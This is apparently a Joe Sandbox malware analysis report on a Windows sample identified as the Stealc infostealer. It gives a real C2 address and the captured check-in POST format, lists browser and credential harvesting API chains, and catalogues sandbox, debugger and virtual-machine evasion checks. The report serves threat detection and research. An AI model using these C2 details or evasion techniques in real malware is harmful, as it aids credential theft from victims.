Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541560
MD5:	4af633ceed4aacaf057ea12772b50ad2
SHA1:	2fc5349b3cf3153eb303ec63dae8f9fa53f62909
SHA256:	d88360912930f05dad8b9dabaee2ee7a32d568d39566d0b1ef487be6225edefc
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7628 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4AF633CEED4AACAF057EA12772B50AD2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1754683786.00000000056C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7628	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.d80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T00:19:17.598711+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.d80000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00D8C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D89AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00D89AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D87240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00D87240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D89B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00D89B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D98EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00D98EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00D938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D94910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D94910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D8DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00D8E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D94570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00D94570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00D8ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D816D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D8F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D93EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00D93EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00D8BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D8DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00D8DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 45 46 35 31 31 32 37 43 37 35 33 37 39 39 36 32 31 31 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="hwid"5FEF51127C753799621165------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="build"doma------EBKEHJJDAAAAKECBGHDA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D84880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00D84880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 45 46 35 31 31 32 37 43 37 35 33 37 39 39 36 32 31 31 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="hwid"5FEF51127C753799621165------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="build"doma------EBKEHJJDAAAAKECBGHDA--

Source: file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1796107974.0000000001852000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1796107974.0000000001886000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1796107974.0000000001852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpDEd
Source: file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpI
Source: file.exe, 00000000.00000002.1796107974.0000000001852000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpi
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpzEV
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/es
Source: file.exe, 00000000.00000002.1796107974.0000000001867000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/sEO
Source: file.exe, 00000000.00000002.1796107974.000000000180E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37R4

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106297C	0_2_0106297C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011419E4	0_2_011419E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011558B2	0_2_011558B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114D3D1	0_2_0114D3D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01146A11	0_2_01146A11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115427F	0_2_0115427F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113CA61	0_2_0113CA61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113EAB9	0_2_0113EAB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01148564	0_2_01148564
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01091DA5	0_2_01091DA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01197C3F	0_2_01197C3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01143442	0_2_01143442
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011044C5	0_2_011044C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010864D0	0_2_010864D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011524CE	0_2_011524CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010B5702	0_2_010B5702
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01144F68	0_2_01144F68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEEE1B	0_2_00FEEE1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114EE37	0_2_0114EE37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114C638	0_2_0114C638

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00D845C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: igioonnz ZLIB complexity 0.9951144939472878

Source: file.exe, 00000000.00000003.1754683786.00000000056C0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D98680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00D98680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D93720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00D93720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\O08ND1U9.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1826816 > 1048576

Source: file.exe

Static PE information: Raw size of igioonnz is bigger than: 0x100000 < 0x197e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;igioonnz:EW;dimpkies:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;igioonnz:EW;dimpkies:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D99860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D99860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1be7d6 should be: 0x1ccc8f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: igioonnz
Source: file.exe	Static PE information: section name: dimpkies
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123236E push ecx; mov dword ptr [esp], ebx	0_2_01232F4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01169901 push 67EB54E3h; mov dword ptr [esp], edi	0_2_0116A427
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE48BD push 6A1EB33Eh; mov dword ptr [esp], esi	0_2_00FE8800
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01034946 push edx; mov dword ptr [esp], ecx	0_2_01034978
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01034946 push eax; mov dword ptr [esp], esp	0_2_0103497C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01034946 push 3A5A2D81h; mov dword ptr [esp], ecx	0_2_010349A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01034946 push ebx; mov dword ptr [esp], edi	0_2_01034A5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01034946 push 48570159h; mov dword ptr [esp], eax	0_2_01034AED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011EC146 push edx; mov dword ptr [esp], 57CF5B96h	0_2_011EC165
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106297C push edx; mov dword ptr [esp], eax	0_2_010629E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106297C push ebx; mov dword ptr [esp], edx	0_2_01062A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106297C push 3597BE96h; mov dword ptr [esp], esi	0_2_01062A18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106297C push ebp; mov dword ptr [esp], 0F825563h	0_2_01062A68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106297C push eax; mov dword ptr [esp], ebp	0_2_01062B38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011EF195 push 119675C3h; mov dword ptr [esp], esi	0_2_011EF1D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E31BE push ecx; mov dword ptr [esp], 57DFF332h	0_2_011E31CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E31BE push ecx; mov dword ptr [esp], 306F52DDh	0_2_011E31FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F69B4 push eax; mov dword ptr [esp], edx	0_2_011F69DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F69B4 push 59B523D7h; mov dword ptr [esp], ebx	0_2_011F6A57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F69B4 push eax; mov dword ptr [esp], 4B9F2AC0h	0_2_011F6A71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F69B4 push ebp; mov dword ptr [esp], ebx	0_2_011F6AB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F69B4 push 750E01C1h; mov dword ptr [esp], eax	0_2_011F6B79
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011F69B4 push ebx; mov dword ptr [esp], ebp	0_2_011F6BCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012319FB push ebp; mov dword ptr [esp], ebx	0_2_01231A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012319FB push edx; mov dword ptr [esp], ebx	0_2_01231A8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122D1C1 push esi; mov dword ptr [esp], edi	0_2_0122D1CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122D1C1 push eax; mov dword ptr [esp], ebp	0_2_0122D2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122D1C1 push ebx; mov dword ptr [esp], eax	0_2_0122D308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122D1C1 push ecx; mov dword ptr [esp], ebp	0_2_0122D39B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0122D1C1 push 62687CABh; mov dword ptr [esp], ebx	0_2_0122D3DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012001C8 push 35CD25D7h; mov dword ptr [esp], ebp	0_2_012000C5

Source: file.exe

Static PE information: section name: igioonnz entropy: 7.9541328107459774

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00D99860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13719

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1FB9 second address: FE1FDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E94E4CBB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1FDB second address: FE1FE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A538 second address: 115A542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A542 second address: 115A547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11598A4 second address: 11598A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11598A9 second address: 11598B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11598B2 second address: 11598B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
